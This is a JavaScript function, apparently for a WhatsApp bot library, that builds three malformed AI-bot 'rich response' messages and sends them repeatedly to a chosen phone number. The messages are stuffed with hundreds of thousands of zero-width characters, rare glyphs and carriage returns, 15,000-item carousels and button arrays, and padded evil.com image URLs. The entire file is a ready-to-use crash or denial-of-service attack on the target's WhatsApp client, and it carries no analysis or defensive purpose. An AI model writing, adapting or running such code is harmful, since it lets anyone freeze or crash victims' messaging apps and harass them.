async function ziperrgalau(sock, target) {
    const resolveJid = function(raw) {
        var s = String(raw || '').trim();
        if (s.includes('@')) return s;
        return s.replace(/\D/g, '') + '@s.whatsapp.net';
    };

    const targetJid = resolveJid(target);
    if (!targetJid || targetJid.length < 15) return;

    const buildRich = (sections) => ({
        messageContextInfo: {
            deviceListMetadata: {},
            deviceListMetadataVersion: 2,
            botMetadata: {}
        },
        botForwardedMessage: {
            message: {
                richResponseMessage: {
                    messageType: 1,
                    unifiedResponse: {
                        data: Buffer.from(JSON.stringify({ sections })).toString("base64")
                    },
                    contextInfo: {
                        mentionedJid: [targetJid],
                        isForwarded: true,
                        forwardedAiBotMessageInfo: {
                            botJid: "867051314767696@bot"
                        },
                        forwardOrigin: 4
                    }
                }
            }
        }
    });

    const ziper = buildRich([
        {
            view_model: {
                primitive: {
                    text: "\u200D".repeat(80000) + "Ꮰ".repeat(80000),
                    __typename: "GenAIMarkdownTextUXPrimitive"
                },
                __typename: "GenAISingleLayoutViewModel"
            }
        },
        {
            view_model: {
                primitive: {
                    __typename: "GenAIImagePrimitive",
                    preview_image: {
                        __typename: "GenAIMediaItem",
                        mime_type: "image/jpeg",
                        url: "https://evil.com/" + "𑇂𑆵𑆴𑆿".repeat(100000)
                    },
                    full_image: {
                        __typename: "GenAIMediaItem",
                        mime_type: "image/jpeg",
                        url: "https://evil.com/" + "𑇂𑆵𑆴𑆿".repeat(100000)
                    }
                },
                __typename: "GenAISingleLayoutViewModel"
            }
        }
    ]);

    const ziperrlagigalau = buildRich([
        {
            view_model: {
                __typename: "GenAICarouselLayoutViewModel",
                items: Array.from({ length: 15000 }, (_, i) => ({
                    __typename: "GenAICarouselItemLayoutViewModel",
                    primitive: {
                        __typename: "GenAIMarkdownTextUXPrimitive",
                        text: "\r".repeat(40000),
                        card_index: i
                    }
                }))
            }
        }
    ]);

    const zyro = buildRich([
        {
            view_model: {
                primitives: [
                    {
                        __typename: "GenAI3PExtWidgetPrimitive",
                        header: {
                            __typename: "GenAI3PExtWidgetStandardHeader",
                            title: "\u200D".repeat(60000)
                        },
                        body: {
                            __typename: "GenAI3PExtCalendarEventList",
                            sections: [],
                            ctas: Array.from({ length: 15000 }, (_, i) => ({
                                __typename: "GenAI3PExtWidgetCTA",
                                label: "\u200D".repeat(30000),
                                state: "PENDING",
                                kind: "OTHER",
                                tool_call_id: "00" + i,
                                toast: { __typename: "GenAI3PExtWidgetToast", label: "\u200D".repeat(30000) }
                            }))
                        }
                    }
                ],
                __typename: "GenAIHScrollLayoutViewModel"
            }
        }
    ]);

    const payloads = [ziper, ziperrlagigalau, zyro];

    for (let loop = 0; loop < 10; loop++) {
        for (let pi = 0; pi < payloads.length; pi++) {
            const payload = payloads[pi];
            const msgId = 'RLC' + Date.now().toString(36).toUpperCase() + '_' + loop + '_' + pi;

            try {
                await sock.relayMessage(targetJid, payload, {
                    messageId: msgId,
                    participant: { jid: targetJid }
                });
            } catch (e) {}

            await new Promise(r => setTimeout(r, 150));
        }
    }
}